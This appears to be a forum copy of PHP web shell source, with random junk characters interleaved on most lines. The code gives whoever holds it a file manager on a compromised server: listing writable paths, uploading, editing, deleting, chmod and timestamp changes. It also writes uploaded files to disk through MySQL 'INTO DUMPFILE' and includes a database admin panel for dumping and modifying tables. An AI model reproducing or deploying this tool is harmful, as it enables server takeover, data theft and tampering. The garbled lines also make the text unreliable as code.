- formhead(array('name'=>'createdir'));1 L8 G( @& ^) y$ S+ m
- makehide('newdirname');
1 W+ e" C1 I* D# g# K - makehide('dir',$nowpath);
' Z5 X" f- [# X, _- o1 Z0 e - formfoot();3 {; f) ?- S& t1 K1 p" ^3 _
- formhead(array('name'=>'fileperm'));" S% X9 ^. L4 J
- makehide('newperm');
6 \ C1 f. \& N M+ ? - makehide('pfile');
& Y- b4 h- {8 t$ D3 ^2 }. M, V' O - makehide('dir',$nowpath);5 t+ ~1 X/ n! [
- formfoot();5 E" M' \( A1 o
- formhead(array('name'=>'copyfile'));
3 h, |$ J% b9 ]2 R7 M. w! b - makehide('sname');
w5 q- }, J% ~% E9 c - makehide('tofile');
+ Z& y/ S6 \) i1 o0 ^0 t - makehide('dir',$nowpath);
+ V! F5 C$ G! W4 m) s9 \& D - formfoot();
7 y" ~+ c: p- T' x9 R - formhead(array('name'=>'rename'));6 j8 Q1 Z, f& d7 p+ F: g
- makehide('oldname');. ?2 Y0 N* L+ u$ M! j& }8 K: E/ k
- makehide('newfilename');
" `7 D: w5 f, }& B" ` - makehide('dir',$nowpath);+ w5 p! w* @# S8 H8 c n
- formfoot();2 [- R5 W8 C+ z, `
- formhead(array('name'=>'fileopform'));
" d9 y$ B6 {8 {9 y' J. S" _ - makehide('action');) C* i1 p$ z* |& S: L0 M1 R
- makehide('opfile');7 [2 m' B0 k$ P( L5 b# o
- makehide('dir');8 v* |' P' c$ B, V
- formfoot();3 }& k t) B, s8 F3 ?4 n) v
-
% c6 i: H7 u+ v2 j - $free = @disk_free_space($nowpath);+ |; R! [& e2 \, k- @5 d2 C
- !$free && $free = 0;
1 ^" S9 ^# C$ E - $all = @disk_total_space($nowpath);
; s. X* Q+ w1 t2 A - !$all && $all = 0;, D) V- a0 ]. f( B/ Z. m8 X* M) A- h
- $used = $all-$free;( c. ~9 P. W( x" Y. q F4 w- P1 `
- $used_percent = @round(100/($all/$free),2);
( V( Z2 h) u1 `+ Z" o: U - p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');% Z5 Z1 W+ F3 W9 ~( F
-
( x: }6 P6 Z+ E/ g2 b6 i! g+ N - ?>
/ B# v" ~; ]+ Y - <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">7 v; I: O1 i3 h0 ?. F
- <form action="" method="post" id="godir" name="godir">
( X% J/ r, k6 |$ s z: } - <tr>! U/ x. @4 g" u$ s* {
- <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>) L9 B. {* e2 W5 |3 {& Y
- <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>, f& y E( x) L
- <td nowrap><input class="bt" value="GO" type="submit"></td>
u S1 h) M, W( X" ^1 M8 n4 [ - </tr>
) {3 B) d' }! V }( ?( d, s, W - </form>
" v2 U* @! s+ e7 v! n% y - </table>/ c' f1 c" |) v. y# |( z
- <script type="text/javascript"># `8 u. |9 |' O( @( D0 O5 Z2 \
- function createdir(){
|' { h# I% {- l. L! e* |, o - var newdirname;: i. r* {' l$ \; J1 Q
- newdirname = prompt('Please input the directory name:', '');
0 f# k4 j2 x ? - if (!newdirname) return;
, y& s/ w9 N* C/ S7 P- v - $('createdir').newdirname.value=newdirname;6 M! u: k* U6 H0 O9 _+ X
- $('createdir').submit();. Q* e/ B6 T3 b. \$ O0 i0 m3 X
- }
* [5 O% W9 m& F4 }$ h2 s - function fileperm(pfile){
" o8 T9 t0 {& e) P - var newperm;% _) p! r7 Z0 Y6 n" I5 ^, A$ t& O
- newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
8 n q& B' s1 e v* h4 P8 Z - if (!newperm) return;
# n' K; q( W: g - $('fileperm').newperm.value=newperm;
+ j4 g+ L4 [5 @/ P4 G# Q9 `" _/ p- d - $('fileperm').pfile.value=pfile;
$ @7 @7 B# \; w' ?5 I - $('fileperm').submit();
0 @. ]$ D/ H1 T6 B8 v @ - }
$ O, |+ G P9 { - function copyfile(sname){
% u3 u+ w3 w2 J$ D4 U - var tofile;3 ?1 G$ k% m8 \/ q% l1 ]. E1 W/ \
- tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');" ~3 z2 n e9 W5 v/ m; G
- if (!tofile) return;' m" u* Y( p( { A0 Z
- $('copyfile').tofile.value=tofile;
( s3 c! p1 F4 F; k0 T4 C+ i - $('copyfile').sname.value=sname;- h9 b4 [( e3 u6 o
- $('copyfile').submit();
- k1 B! a8 \. g: A/ v9 |2 `& H J3 G - }6 t" ~( Q J/ v4 ^# O: s+ B; Z
- function rename(oldname){
5 g* ^' v6 B5 y0 U- d1 X) e - var newfilename;
' T9 t2 o6 ?& e# \% d - newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');8 I! l. Q9 O. U& R# L; j3 h
- if (!newfilename) return;
/ d+ t' j7 _6 s x- ]# d - $('rename').newfilename.value=newfilename;
) ]+ E$ g! w2 Z% s9 U0 f - $('rename').oldname.value=oldname;
5 k! r) `$ g3 B8 p) s5 P - $('rename').submit();
. f- O1 V1 k$ ~* S J6 N - }
: N& E# d- l# B) d i5 K3 t0 C - function dofile(doing,thefile,m){/ z# B# @5 S# }* t. u$ a
- if (m && !confirm(m)) {0 W r0 A0 l3 q
- return;, u: W& [( \" M" O, D
- } p% B, P M$ t. I q' e
- $('filelist').doing.value=doing;
! T1 i5 ~+ H) Z& E - if (thefile){' B/ E: i' \( E+ t' s) X4 w
- $('filelist').thefile.value=thefile;& Z8 h* e: `6 `6 `
- }1 `. x) m' e1 Z
- $('filelist').submit();0 V1 J- `# y9 a2 S& a3 C
- }4 H# L1 X o9 b! Q, b
- function createfile(nowpath){
3 v3 y9 d8 K" U* ^( t - var filename;
9 [- R/ V' e c$ d1 @0 M - filename = prompt('Please input the file name:', '');, }% f ?# N A
- if (!filename) return;
( W! ]1 |& P( P! ]5 g1 J; k - opfile('editfile',nowpath + filename,nowpath);& t2 t j9 F! @& v a# z4 P! w$ S
- }
6 o. t% \$ D5 g/ l - function opfile(action,opfile,dir){2 M7 \6 w: E& n0 m, h
- $('fileopform').action.value=action;. {6 U/ P; D$ L. J2 J, D
- $('fileopform').opfile.value=opfile;
" d- U/ b% ]' y- X* @4 v: w - $('fileopform').dir.value=dir;
$ v7 {* B) H% w - $('fileopform').submit();
, s, d+ k7 A# R. P( [# @ - }
* L. e5 |- E$ g E% ?( F( { - function godir(dir,view_writable){& z4 r2 k: M; R! }' m
- if (view_writable) {
( K' x, |: ?# [% b3 N! c - $('godir').view_writable.value=1;
; X5 a- j* V2 q - }) C% e1 d3 B$ C* s: E$ B: d
- $('godir').dir.value=dir;% C/ D6 R" O b* G8 E7 I
- $('godir').submit();
4 `& S+ w9 O+ x - }
& T% A: v5 G. X2 K" j - </script>
2 m$ R" {- g( P7 ?% Q# @ - <?php
' B9 t$ a, R0 R# F: v2 \ - tbhead(); D2 H. X4 m4 N
- p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
- n2 C' M( ~, G1 }- z1 k$ E' t - p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
5 P! I# T2 H. R7 `6 W - p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');1 p) n! j l, V3 D9 C1 m X# z
- if ($view_writable) {
. L2 x+ V9 w5 v! p$ T - p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
c, s9 H& W# |& u: @' A% t - } else {
; E6 \' ~$ |- N. h$ ? - p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');1 {6 c1 Z, m0 w# f/ F) I
- }
4 ]6 h; m3 p$ K* C, } - p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');* U! a+ V/ d8 x7 B2 L2 U
- if (IS_WIN && IS_COM) {. _/ G( K5 D" S
- $obj = new COM('scripting.filesystemobject');' W7 p1 J" |/ R7 i! H
- if ($obj && is_object($obj)) {
: F! P' Q9 _& w# _8 N$ X - $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
1 `$ T& q' S6 I* M& m/ w$ l$ E - foreach($obj->Drives as $drive) {" D& u9 B4 W; G" x4 f/ n V
- if ($drive->DriveType == 2) {9 a6 D* _% C$ w0 [* F @
- p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'( \! W4 O. |: P0 w( K
- Free:'.sizecount($drive->FreeSpace).'
/ K t. _# \( O8 Z' o - Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
1 }8 G: \# s% K7 ?; F: h1 j - } else {: w6 D& r4 \; l& ?8 C+ r; a
- p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
2 r! J! t+ q! d# e! [: p: H1 I) E - }( L' H# ~$ P9 C/ e; {; {
- }
4 }" t0 k+ o* o r - }
" v+ g/ w \4 J6 H3 d - }+ i2 v0 R5 j# d" l. | b
- 2 K# V4 ]% c9 P K7 A) o7 j
- p('</td></tr></form>'); x& O1 Q- ]' I( v* O# x
- $ R- o3 H k. P! h7 o
- p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');- [0 T- H f# B- ~
- ' o. y0 h7 Q% x, S1 X' N
- //查看所有可写文件和目录 b6 K* L0 z' e# l1 r8 P
- $dirdata=array();
) i# h6 e/ n- `) ~ - $filedata=array();: b, i+ K, `: F1 H8 m9 R/ e
- 1 Y% q; T7 v4 L' ~! m' w
- if ($view_writable) {: e/ C! M/ l" L( Y7 ]' |9 S1 @
- $dirdata = GetList($nowpath);
7 g' c. C8 H' U* c - } else {8 s4 t# M- k' d1 J5 ?9 s
- // 目录列表. s8 N" }5 m7 n. N
- $dirs=@opendir($dir);
4 F; X& }" P( Y; I - while ($file=@readdir($dirs)) {
! g' R( B; W+ p: D. E' r/ ~ - $filepath=$nowpath.$file;5 R3 a) W: y) I+ ]. e
- if(@is_dir($filepath)){
4 s# N0 Y# R ` - $dirdb['filename']=$file;
, `% \' }1 R. M+ E - $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));2 X1 }' b- P. U/ g
- $dirdb['dirchmod']=getChmod($filepath); I. G1 n6 G6 {1 I' d
- $dirdb['dirperm']=getPerms($filepath);
! x# k5 r! B+ [9 X$ m$ S. P* U - $dirdb['fileowner']=getUser($filepath);# @9 D, _/ |+ n; p) [& ]7 ~
- $dirdb['dirlink']=$nowpath;3 T) u& a: k8 H/ e$ h' R
- $dirdb['server_link']=$filepath;1 u% }2 |& h/ m# D: j, t: X; z" c
- $dirdb['client_link']=ue($filepath);
6 t- d: _; X/ ] - $dirdata[]=$dirdb;
$ r7 E3 U* M/ g( v+ h - } else { 4 x, k. c; ^$ h$ p1 Q
- $filedb['filename']=$file;
; m/ G( ?4 O6 z - $filedb['size']=sizecount(@filesize($filepath));
6 k9 g9 M3 ~/ o4 v5 Y/ o - $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
F$ y' R q" P8 M @ - $filedb['filechmod']=getChmod($filepath);
5 d" o$ U( u* G; Y! r# i. y - $filedb['fileperm']=getPerms($filepath);5 e( E d" ^! L0 `* [9 I
- $filedb['fileowner']=getUser($filepath);
) l2 L& J) J: {$ z - $filedb['dirlink']=$nowpath;
* f& e& R% r) D6 Y - $filedb['server_link']=$filepath;
1 F; U$ W: h( y* e. w- O - $filedb['client_link']=ue($filepath);
8 a. ?8 |. ^# b7 _8 A- u - $filedata[]=$filedb;: Q6 x4 o% m4 j( P% W
- }
) m) u H3 h) K# r; h M - }// while
z/ R/ |! d5 m" E9 h- D - unset($dirdb);5 d+ S6 J8 c; k1 Y Y6 q
- unset($filedb);
! \" i& g5 E ?; G - @closedir($dirs);
9 f' k5 L x2 q5 }& Y6 j {5 N - }
8 O1 I9 O% P4 f) U - @sort($dirdata);
& T% q2 c! z" U/ T& } - @sort($filedata);2 D' i) i \. I% h
- $dir_i = '0';
& N+ n! `- L4 V6 T' H1 r% z0 g - foreach($dirdata as $key => $dirdb){) ?+ p9 }* I' o* h+ k' N) t: y
- if($dirdb['filename']!='..' && $dirdb['filename']!='.') {8 s* R/ G- u5 P$ ~6 x {& T z
- $thisbg = bg();
9 w' t; h2 R4 F! j0 i1 D U. ^ - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');" o9 l' O9 J% |( D& M: t
- p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
$ y% x8 _8 f7 v0 `+ u( R - p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
1 U: j/ \% b7 l, c+ D( q - p('<td nowrap>'.$dirdb['mtime'].'</td>');; k( O6 A; }. f) j0 M7 M l
- p('<td nowrap>--</td>');
; T4 v2 K8 Y9 J9 g! C5 K8 K8 @' _ - p('<td nowrap>');
. N$ i/ B8 K# X3 H2 b7 ^ - p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
, s7 F( a" D1 ?1 n( V6 z - p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');1 v5 Y+ I" D& w: |! U3 E
- p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
& q0 }2 v" L% N. |1 J - p('</tr>');: p+ R2 I5 r0 j7 i2 Q2 @# Y9 N
- $dir_i++;* b$ n/ R+ ^5 z) i$ Q$ z
- } else {/ C+ o6 P/ N* J. H2 v* l; c- V6 a
- if($dirdb['filename']=='..') {7 S, Z! k" |& C
- p('<tr class='.bg().'>');9 i9 T4 d4 _: N q) w
- p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');) M6 o" W) n6 ~! j
- p('</tr>');2 j0 G" v- S+ @4 ?, J# d2 u, S
- }
- W# h4 s& T& \. | - }
) e" x( w- H1 ^! j# o$ r# |0 {: l - }
3 R& c* `! A# c7 i# B - * r4 p$ u ~5 D5 M$ v+ B% b
- p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');' D* D' P% ?8 J+ j3 y
- p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
" L9 p" s& O2 R. d! c- c - makehide('action','file');6 w: r9 z8 D: q
- makehide('thefile');8 ?3 ]( R5 o& V+ }* r# R. p
- makehide('doing');2 }: w; h$ ~1 |- R
- makehide('dir',$nowpath);
* v" Q% [# }: k; n - $file_i = '0';
4 o0 M- E& B$ y* t7 q - foreach($filedata as $key => $filedb){2 x$ V. S" \/ E$ s# h3 R" k2 |
- if($filedb['filename']!='..' && $filedb['filename']!='.') {
( q/ o- h. Q: e, v0 z - $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);8 Q! [( M5 J5 k
- $thisbg = bg();
7 P0 L) p# o4 M0 x - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');( g! g. `6 ?; T# o) I" e
- p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
& {8 e! @ B; Q$ X3 v - p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
4 O) V7 j8 a- K1 T. A. k( {- e7 | - p('<td nowrap>'.$filedb['mtime'].'</td>');2 b3 S5 f! M, X; I
- p('<td nowrap>'.$filedb['size'].'</td>');
9 M1 Q) @4 o3 L3 s m8 r% E$ x, J - p('<td nowrap>');) o) V1 X1 R; O0 d6 l
- p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
( {2 ~$ D( s' K) o: ]( U* ^ - p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
* z7 r3 S7 ^5 a* _# j+ D( _ - p('<td nowrap>');
8 R4 w6 R- i1 p: Q: j+ [$ X$ f - p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');% {! p2 @6 R6 U
- p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
. n/ s# n0 E" J0 o. \ { - p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');* X7 w/ S- \. e3 j3 Q
- p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
" `1 F( s u# n- L# R- {6 E" z - p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
% |# s" G/ ?$ W3 `5 i - p('</td></tr>'); ~, l5 o2 a% C6 m- J' I" l
- $file_i++;
( A0 f) X( E1 g* z* L9 ~ - }0 F s+ {. t$ V
- }
7 M1 R3 O/ `0 C; f' q - p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');) U7 q; M. k8 U V
- p('</form></table>');$ A2 x& m6 h# \3 o7 r5 u% H5 g
- }// end dir( P) J0 l0 Q; d
-
) m0 q& ?8 j8 T - elseif ($action == 'sqlfile') {9 ~1 P9 x2 [4 ~ v9 W U- j
- if($doing=="mysqlupload"){8 u/ r% f7 d" |, ?" e8 Q! S
- $file = $_FILES['uploadfile'];
2 s6 v# C4 a9 `* o - $filename = $file['tmp_name'];# W; t7 z( W, }8 F
- if (file_exists($savepath)) { C3 f/ M; W& P. \
- m('The goal file has already existed');9 l: R2 W" Y3 H$ J2 j6 r% y# M5 y
- } else {$ a1 z- D# H& N' R, z
- if(!$filename) {
: f3 c6 t: h2 F, u! B l - m('Please choose a file');
& @4 }4 |6 v/ E6 ?& {" |+ T* \2 I - } else {+ s v4 v" d5 u( C; t. Q( e
- $fp=@fopen($filename,'r');; n4 s. B. ~ A) x$ l( t
- $contents=@fread($fp, filesize($filename));7 f a$ Y2 f' ]% F& d
- @fclose($fp);
: o% A( x! ~4 i# F+ H - $contents = bin2hex($contents);. N; V8 G6 K1 _0 p/ `' n
- if(!$upname) $upname = $file['name'];
' U, i9 k1 D1 t+ i8 D - dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
/ i8 z H1 O8 |8 T - $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");6 w- m; F: S+ ] w- f
- m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
5 x2 d7 t1 B2 c! \ @1 \ - }- m' S9 {1 C0 J" [: ]' f
- }& t" ?5 ]1 U7 y0 W% d, E" K
- }! I5 S2 M3 w+ w+ P m: ]
- ?>
+ r5 M7 |! v) | - <script type="text/javascript">
* M' z* z( k6 h0 Y, @0 p - function mysqlfile(doing){
! I- W* j* y: H2 \ - if(!doing) return;
$ F8 N5 N* c$ O# a) ?( Y - $('doing').value=doing;" L, e1 W" C& e; L
- $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
" X" n, }+ a" x. W" ?: u Z - $('mysqlfile').dbport.value=$('dbinfo').dbport.value;$ P$ D' i: \- R) [# z
- $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
! k- f, ]. j0 \, h% t1 U+ i5 P - $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value; v3 n- J$ ?& N% `' A* Y
- $('mysqlfile').dbname.value=$('dbinfo').dbname.value;4 R8 {$ W$ y) e1 r6 }
- $('mysqlfile').charset.value=$('dbinfo').charset.value;8 ~& R- V2 p8 O2 ~/ a: ~
- $('mysqlfile').submit();' ]% l0 C+ E( d2 W) h
- }
/ I: ~! e$ m: f6 t( D2 `2 K( ] - </script>
" c5 p+ ]' w* | G$ Q - <?php
' B0 y( A: a' n5 ? - !$dbhost && $dbhost = 'localhost';. i4 N! w0 @' B2 t
- !$dbuser && $dbuser = 'root';
; @/ A. L0 y( L$ g6 g: ]% X - !$dbport && $dbport = '3306';8 q& W, H4 o% P7 _1 a% v* n' b
- $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');; E+ K3 Q! `- B$ Q( L
- formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
6 M9 k8 s: H& ` - makehide('action','sqlfile');
: {! K7 p& m/ {% c' C5 @ - p('<p>');
* V/ W% a, g7 l) ]7 K7 @ - p('DBHost:');7 R J* n; ~( L; ]
- makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
, C7 v6 _4 z' P3 p' s/ A! P - p(':');' r, A2 {2 I( w+ m( j5 Z* }0 B- b
- makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));" Z4 Y$ M5 ~& o) e7 M a- a! @
- p('DBUser:');$ s: c& X" t/ y3 u. w7 `
- makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));1 Q. M% \9 }$ G8 S
- p('DBPass:');% h7 }, }2 x0 x+ y' z, e3 @( v, H( [
- makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
0 q) \& E2 z. j0 L" | - p('DBName:');
, }" f" g" ^ b! o: i% b; w0 G& i - makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));: }% n( J8 I5 m( L+ O
- p('DBCharset:');& Q1 d2 ^2 {0 Z# {6 F: @2 f6 i+ g8 ^
- makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));" Q8 U/ [- D5 {
- p('</p>');
" L' t1 Q- \$ U: o& ^0 R$ M$ E2 @ - formfoot();
1 t! v' ~5 N3 p$ G' N- k - p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
" J! R+ ^. o! i# Q - p('<h2>Upload file</h2>');" c6 {6 I7 |- x" s
- p('<p><b>This operation the DB user must has FILE privilege</b></p>');
! Q# |; [- ]+ h8 e% W: c' _ - p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');7 ] Z& K- }$ c# W! @5 p8 d7 |
- p('<h2>Download file</h2>');
( Z$ Q7 m0 j. c/ B - p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
) E2 @/ q1 S5 j' m( m7 y - makehide('dbhost');
, \* b1 P3 x2 w( ^; J7 c$ [5 @ - makehide('dbport');% X* t2 a1 A# L# _5 b" [
- makehide('dbuser');
, p6 l% @. I3 ~1 K6 R- }* ^ - makehide('dbpass');9 b5 J; S% w4 M3 K; i) b P
- makehide('dbname');
7 l8 r% b1 V4 W5 `' Q! K) V - makehide('charset');- d5 n( J ]0 n# m. ~, u/ q
- makehide('doing');( N5 l9 w1 ?, `6 h$ m3 w \5 U
- makehide('action','sqlfile');8 _/ A- A0 D' k
- p('</form>');
6 g' O' x' O- T - }
: D- @2 [8 ~) E3 F: Y( ` - 3 C y a+ ]& X0 C6 k
- elseif ($action == 'sqladmin') {
+ Z* E0 ~" j4 {. Y: T$ N6 n. i - !$dbhost && $dbhost = 'localhost';0 N; f. ~, q% w8 u0 h P
- !$dbuser && $dbuser = 'root';7 i/ j7 ^+ `) D
- !$dbport && $dbport = '3306';+ T. N; m& ]5 p; z9 s
- $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
" ?( l8 ?5 f5 E& W& i$ `7 F - if(isset($dbhost)){
$ e; Z1 ~" e0 Z4 h$ v' C - $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";9 }3 S' t+ B) C' T7 s0 b; t" `
- }8 a; g# _# b' K8 _# p, f
- if(isset($dbuser)) {
( m2 t, |- u, Y - $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";
7 W! J J& R) S) t7 }* Z" b6 L - }
) k, U/ O$ n4 U% E+ ~% {, j - if(isset($dbpass)) {2 a4 n: U- e; P* ~$ B
- $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";
# a* H2 v, y( Q% X9 I% c: F - }
- H8 _. n5 O2 l" U. a - if(isset($dbport)) {
& z s! I0 P6 z$ X - $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";
1 B, v5 {, o1 N1 L1 a# L K7 t - }
' o. E: e1 `, k- Y6 A3 h+ j - if(isset($dbname)) {
! K) _7 a u5 E& V7 | - $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";
/ h' Y- E! r m! Z! l- {. P+ v1 H - }/ t0 N0 A# J( m
- if(isset($charset)) {
1 G) o; n7 P3 \3 { - $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";: F( H5 Q) D! M% w% e( J
- }
7 i% r8 Y( g. n -
) n, s) _/ T, c; W5 \ - if ($doing == 'backupmysql' && $saveasfile) {
7 b: d+ G r; N8 ^% J" e - if (!$table) {
H% y2 y! _0 Q1 ^ - m('Please choose the table');* {9 u U$ Z2 m1 _" l. G* l V
- } else {+ {' t! U4 | s& |. q/ N; ~! O2 B
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1 H" O+ ~4 u0 W- p - $table = array_flip($table);! t2 g" v0 O1 H! ~, Q6 @
- $fp = @fopen($path,'w');
; r5 R7 H9 _) ] - if ($fp) {3 _8 I0 g6 s& t1 W' q
- $result = q('SHOW tables');
0 q, T2 d$ Q f0 h8 T - if (!$result) p('<h2>'.mysql_error().'</h2>');! D* `) q' V7 |* I: I# h
- $mysqldata = '';* L( U( T( }0 H) i% R
- while ($currow = mysql_fetch_array($result)) {
+ c$ l9 ^, K3 m; w6 `9 b# T4 z$ ~ - if (isset($table[$currow[0]])) {) h" v) `8 B7 ^: _
- sqldumptable($currow[0], $fp);" j% h. U% ~8 k
- }; M0 t4 e. e+ S
- }
( b! @2 F1 N% a% _7 } - fclose($fp);
& T( ?0 a3 z$ p; g4 V - $fileurl = str_replace(SA_ROOT,'',$path);
$ n2 h; l1 ^; ^4 ?' k' ~5 ] - m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');$ n- r' ]- D9 \. L
- mysql_close();
. S: l: Q' [1 S - } else {3 h: S; H2 ^: ?! u8 e" p7 p+ W! I# ]
- m('Backup failed');
: P$ ~, Y$ q; }" M0 g0 j3 m - }# {- m+ R% [4 k
- }
( A6 X8 S# H2 D( V2 X2 M; H - }
# s& O& G- c# s; S; k3 ~7 I - if ($insert && $insertsql) {% W; z7 M' s Q$ h: d$ b
- $keystr = $valstr = $tmp = '';4 o4 f P$ d9 K
- foreach($insertsql as $key => $val) {8 ~# w! C! ]6 {/ q9 N* d- Q! \
- if ($val) {
& \; H& P) Q1 s+ B - $keystr .= $tmp.$key;
- \! r; G, A/ X! X7 o6 h) Z; m - $valstr .= $tmp."'".addslashes($val)."'";7 {$ _1 k8 |4 a4 o" D2 A$ Z
- $tmp = ',';
) ?2 b* U2 C8 E+ `( E7 i( m - }
, J" A7 a0 D% H5 O) } - }
$ U; S' T' S9 b" v8 z; q. h" | - if ($keystr && $valstr) {8 a$ ?' j9 U6 `( K; S& a9 ?* v
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); i- W" n2 s, n# Y" ]! W* a3 Z
- m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
. g+ Q; k) u7 S8 J' x9 p6 v - }+ D7 k' a/ W) p. J& ?* A- m
- }
. X- @' G# l5 z( e: X/ k! f - if ($update && $insertsql && $base64) {
5 D4 I; F5 S: P: Q - $valstr = $tmp = '';
" a/ M) B0 i7 t. d - foreach($insertsql as $key => $val) {
( a' T; K; X7 s7 B: N$ j - $valstr .= $tmp.$key."='".addslashes($val)."'";
' _ b$ L; G9 q3 k6 d - $tmp = ',';% I9 Q8 t0 _$ s
- }
: Z/ X" ~3 @9 f' `: U - if ($valstr) {: w B+ l1 N0 V( |# q
- $where = base64_decode($base64);/ s" O1 Q. d' u7 H! D/ K, F: y4 q+ O
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
" i6 F2 L: I2 Q! i8 Y! {& \0 x# A - m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
0 K# {% q3 A9 \4 c1 O2 P% t1 M - }; U' h5 q& L% F6 z- _! @1 s& |
- }
